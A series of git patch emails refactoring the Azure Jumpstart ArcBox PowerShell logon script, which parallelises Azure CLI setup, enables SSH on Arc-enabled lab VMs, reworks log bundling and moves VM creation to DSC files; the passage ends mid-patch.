Wed, 27 Dec 2023 10:43:45 +0000 Subject: [PATCH 027/456] Leveraged Foreach-Object -Parallel where applicable Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 68 ++++++++++++------- 1 file changed, 45 insertions(+), 23 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1f1c5dd2b6..0932fea8ae 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -144,9 +144,10 @@ if ($Env:flavor -ne "DevOps") { # Install Azure CLI extensions Write-Header "Az CLI extensions" - az extension add --name ssh --yes --only-show-errors - az extension add --name log-analytics-solution --yes --only-show-errors - az extension add --name connectedmachine --yes --only-show-errors + @("ssh","log-analytics-solution","connectedmachine") | + ForEach-Object -Parallel { + az extension add --name $PSItem --yes --only-show-errors + } # Required for CLI commands Write-Header "Az CLI Login" @@ -154,10 +155,9 @@ if ($Env:flavor -ne "DevOps") { # Register Azure providers Write-Header "Registering Providers" - az provider register --namespace Microsoft.HybridCompute --wait --only-show-errors - az provider register --namespace Microsoft.HybridConnectivity --wait --only-show-errors - az provider register --namespace Microsoft.GuestConfiguration --wait --only-show-errors - az provider register --namespace Microsoft.AzureArcData --wait --only-show-errors + @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { + az provider register --namespace $PSItem --wait --only-show-errors + } # Enable defender for cloud for SQL Server # Verify existing plan and update accordingly @@ -241,14 +241,6 @@ if ($Env:flavor -ne "DevOps") { Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgentSQL.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $SQLvmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds - - # Install Log Analytics extension to support Defender for SQL $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json if ($mmaExtension.Count -le 0) { @@ -466,8 +458,19 @@ if ($Env:flavor -ne "DevOps") { # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + $Win2k19vmName,$Win2k22vmName | ForEach-Object -Parallel { + + $nestedVMArcBoxDir = $Using:nestedVMArcBoxDir + $spnClientId = $Using:spnClientId + $spnClientSecret = $Using:spnClientSecret + $spnTenantId = $Using:spnTenantId + $subscriptionId = $Using:subscriptionId + $resourceGroup = $Using:resourceGroup + $azureLocation = $Using:azureLocation + + Invoke-Command -VMName $PSItem -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $using:winCreds + + } Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue @@ -478,12 +481,31 @@ if ($Env:flavor -ne "DevOps") { $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName, $Win2k22vmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds + } + + Write-Header "Enabling SSH access to Arc-enabled servers" + $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") + $VMs | ForEach-Object -Parallel { + + $vm = $PSItem + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + + $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineEndpoint.properties | Where-Object { $_.type -eq "default" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Creating default endpoint for $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15" -Payload '{"properties": {"type": "default"}}' + } + $connectedMachineSshEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineSshEndpoint.properties | Where-Object { $_.serviceName -eq "SSH" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Enabling SSH on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15" -Payload '{"properties": {"serviceName": "SSH", "port": 22}}' + } + else { + Write-Output "SSH already enabled on $($connectedMachine.Name)" + } + } # Removing the LogonScript Scheduled Task so it won't run on next reboot From cb788ce191f7ae9f3024144681a06c2fed6728d1 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 16:02:59 +0000 Subject: [PATCH 028/456] Enabled Azure CLI use_dynamic_install for extensions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 0932fea8ae..b000a1d051 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -144,6 +144,9 @@ if ($Env:flavor -ne "DevOps") { # Install Azure CLI extensions Write-Header "Az CLI extensions" + + az config set extension.use_dynamic_install=yes_without_prompt --only-show-errors + @("ssh","log-analytics-solution","connectedmachine") | ForEach-Object -Parallel { az extension add --name $PSItem --yes --only-show-errors From f82fd1ef2294050dfdeb92ca26652144ac8960e3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 16:09:53 +0000 Subject: [PATCH 029/456] Added Connect-AzAccount inside ForEach-Object -Parallel Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b000a1d051..7eaa840e49 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -490,6 +490,11 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId From c68fd371745bd43db939e9a49e7bfbb3b95ecff8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:16:46 +0000 Subject: [PATCH 030/456] Replace 7z with Compress-Archive. Leverage env-variable for temp-folder. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 7eaa840e49..6bb5407338 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -525,14 +525,13 @@ if ($Env:flavor -ne "DevOps") { # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { + $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 Write-Host "`n" Write-Host "Creating deployment logs bundle" -7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log -}' +Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" #Changing to Jumpstart ArcBox wallpaper @@ -585,8 +584,8 @@ Write-Output "Tests failed: $tests_failed" Write-Header "Adding deployment test results to wallpaper using BGInfo" -Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed -Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed +Set-Content "$Env:TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT From 25b8553a2b9ea2600673230cfed27c20f9021818 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:19:12 +0000 Subject: [PATCH 031/456] Moved Creating deployment logs bundle at the end Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6bb5407338..1d49499df0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -523,16 +523,6 @@ if ($Env:flavor -ne "DevOps") { } } -# Executing the deployment logs bundle PowerShell script in a new window -Write-Header "Uploading Log Bundle" - -$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) -Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." -Start-Sleep -Seconds 5 -Write-Host "`n" -Write-Host "Creating deployment logs bundle" -Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" - #Changing to Jumpstart ArcBox wallpaper Write-Header "Changing wallpaper" @@ -589,4 +579,9 @@ Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +Write-Header "Creating deployment logs bundle" + +$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) +Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" + Stop-Transcript From c6c868893f4f9016aea4ee07e6ec307571b11c2b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:23:08 +0000 Subject: [PATCH 032/456] Replace System.IO.File]::Exists with Test-Path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1d49499df0..7662853eaf 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -365,7 +365,7 @@ if ($Env:flavor -ne "DevOps") { $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu02vmName}.vhdx" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($win2k19vmvhdPath) -and [System.IO.File]::Exists($Win2k22vmvhdPath) -and [System.IO.File]::Exists($Ubuntu01vmvhdPath) -and [System.IO.File]::Exists($Ubuntu02vmvhdPath))) { + if (!(Test-Path $win2k19vmvhdPath -and Test-Path $Win2k22vmvhdPath -and Test-Path $Ubuntu01vmvhdPath -and Test-Path $Ubuntu02vmvhdPath)) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 if ($Env:flavor -eq "Full") { From c9066cbf7394a9f405bc305dfafe084b73505b72 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:36:48 +0000 Subject: [PATCH 033/456] Replace System.IO.File Exists with Test-Path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 7662853eaf..c69ab182dd 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -20,7 +20,7 @@ $sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0 # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" -if ([System.IO.File]::Exists($logFilePath)) { +if (Test-Path $logFilePath) { $archivefile = "$Env:ArcBoxLogsDir\ArcServersLogonScript-" + (Get-Date -Format "yyyyMMddHHmmss") Rename-Item -Path $logFilePath -NewName $archivefile -Force } @@ -196,7 +196,7 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Fetching SQL VM" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($SQLvmvhdPath) )) { + if (!(Test-Path $SQLvmvhdPath)) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 # Other ArcBox flavors does not have an azcopy network throughput capping From c43bdab0fe09090d25da7ed4b01c522cf3024284 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 07:32:07 +0000 Subject: [PATCH 034/456] Bugfix - syntax Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index c69ab182dd..404e758461 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -365,7 +365,7 @@ if ($Env:flavor -ne "DevOps") { $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu02vmName}.vhdx" # Verify if VHD files already downloaded especially when re-running this script - if (!(Test-Path $win2k19vmvhdPath -and Test-Path $Win2k22vmvhdPath -and Test-Path $Ubuntu01vmvhdPath -and Test-Path $Ubuntu02vmvhdPath)) { + if (!((Test-Path $win2k19vmvhdPath) -and (Test-Path $Win2k22vmvhdPath) -and (Test-Path $Ubuntu01vmvhdPath) -and (Test-Path $Ubuntu02vmvhdPath))) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 if ($Env:flavor -eq "Full") { From 6087197aba88d6a5b73bd21b8dddcbd3a5c10783 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 13:45:31 +0000 Subject: [PATCH 035/456] Bugfix - temp dir reference Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 404e758461..402570efd9 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -574,8 +574,8 @@ Write-Output "Tests failed: $tests_failed" Write-Header "Adding deployment test results to wallpaper using BGInfo" -Set-Content "$Env:TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT From bcbfbcb03fe8b5aa150586d70a19ff26196757d8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 15:20:20 +0000 Subject: [PATCH 036/456] Added workaround to avoid "file is being used by another process" error when compressing the logs Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 402570efd9..6c8052ed0e 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -582,6 +582,11 @@ bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT Write-Header "Creating deployment logs bundle" $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) -Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" +$LogsBundleTempDirectory = "$Env:windir\TEMP\LogsBundle-$RandomString" +$null = New-Item -Path $LogsBundleTempDirectory -ItemType Directory -Force + +#required to avoid "file is being used by another process" error when compressing the logs +Copy-Item -Path "$Env:ArcBoxLogsDir\*.log" -Destination $LogsBundleTempDirectory -Force -PassThru +Compress-Archive -Path "$LogsBundleTempDirectory\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" -PassThru Stop-Transcript From a38fa491ee621430b8a046c2cb34c0ab303bf547 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 18:40:36 +0000 Subject: [PATCH 037/456] SQL server BPA optimization to avoid Cannot index into a null array in deployment logs. Suppress irrelevant warning. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6c8052ed0e..63e7cb0183 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -260,8 +260,8 @@ if ($Env:flavor -ne "DevOps") { $retryCount = 0 do { Start-Sleep(60) - $amaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='AzureMonitorWindowsAgent']" | ConvertFrom-Json - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + $amaExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'AzureMonitorWindowsAgent'} + if ($amaExtension.StatusCode -eq 0) { Write-Host "Azure Monitoring Agent extension installation complete." break } @@ -276,16 +276,16 @@ if ($Env:flavor -ne "DevOps") { } while ($retryCount -le 5) # Enable Best practices assessment - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + if ($amaExtension.StatusCode -eq 0) { # Create custom log analytics table for SQL assessment az monitor log-analytics workspace table create --resource-group $resourceGroup --workspace-name $Env:workspaceName -n SqlAssessment_CL --columns RawData=string TimeGenerated=datetime --only-show-errors # Verify if Arc-enabled server and SQL server extensions are installed - $ArcServer = az connectedmachine show --name $SQLvmName --resource-group $resourceGroup - if ($null -ne $ArcServer) { - $sqlExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='WindowsAgent.SqlServer']" | ConvertFrom-Json - if ($null -ne $sqlExtension) { + $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup + if ($ArcServer) { + $sqlExtension = $ArcServer | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} + if ($sqlExtension) { # SQL server extension is installed and ready to run SQL BPA Write-Host "SQL server extension is installed and ready to run SQL BPA." } @@ -493,7 +493,7 @@ if ($Env:flavor -ne "DevOps") { $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId From 2fdbe35a85724113e1c31eb56d06c24e51eadcef Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 19:33:16 +0000 Subject: [PATCH 038/456] Added Az PowerShell Login Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 63e7cb0183..ab80ef2cda 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -156,6 +156,9 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Az CLI Login" az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId + Write-Header "Az PowerShell Login" + Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + # Register Azure providers Write-Header "Registering Providers" @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { From e90589075b58c10f8ef86da9e7df7f63dbb1b0c6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 20:29:52 +0000 Subject: [PATCH 039/456] Moved VM creation, virtual switch creation and enhanced session mode configuration to DSC Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 82 ++----------------- .../artifacts/dsc/itpro.dsc.yml | 23 +++++- .../dsc/itpro_virtual_machines.dsc.yml | 69 ++++++++++++++++ .../dsc/sql_virtual_machines.dsc.yml | 20 +++++ 4 files changed, 118 insertions(+), 76 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ab80ef2cda..804a84e225 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -102,24 +102,10 @@ if ($Env:flavor -ne "DevOps") { New-NetNat -Name $natName -InternalIPInterfaceAddressPrefix 10.10.1.0/24 } - # Create an internal switch with NAT - Write-Host "Creating Internal vSwitch" - $switchName = 'InternalNATSwitch' - - # Verify if internal switch is already created, if not create a new switch - $inernalSwitch = Get-VMSwitch - if ($inernalSwitch.Name -ne $switchName) { - New-VMSwitch -Name $switchName -SwitchType Internal - $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } - - # Create an internal network (gateway first) - Write-Host "Creating Gateway" - New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex - - # Enable Enhanced Session Mode on Host - Write-Host "Enabling Enhanced Session Mode" - Set-VMHost -EnableEnhancedSessionMode $true - } + # Create an internal network (gateway first) + $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } + Write-Host "Creating Gateway" + New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs @@ -210,27 +196,13 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - # Create the nested SQL VM - Write-Host "Create SQL VM" - if ((Get-VM -Name $SQLvmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $SQLvmName -Force -ErrorAction SilentlyContinue - New-VM -Name $SQLvmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $SQLvmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $SQLvmName -Count 2 - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } + # Create the nested SQL VMs + winget configure --file C:\ArcBox\DSC\sql_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity # We always want the VMs to start with the host and shut down cleanly with the host Write-Host "Set VM Auto Start/Stop" Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - Write-Host "Enabling Guest Integration Service" - Get-VM -Name $SQLvmName | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose - - # Start all the VMs - Write-Host "Starting SQL VM" - Start-VM -Name $SQLvmName - - # Restarting Windows VM Network Adapters Write-Host "Restarting Network Adapters" Start-Sleep -Seconds 20 @@ -385,47 +357,7 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - - # Check if VM already exists - if ((Get-VM -Name $Win2k19vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k19vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k19vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $win2k19vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k19vmName -Count 2 - Set-VM -Name $Win2k19vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Win2k22vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k22vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k22vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $Win2k22vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k22vmName -Count 2 - Set-VM -Name $Win2k22vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu01vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu01vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu01vmName -MemoryStartupBytes 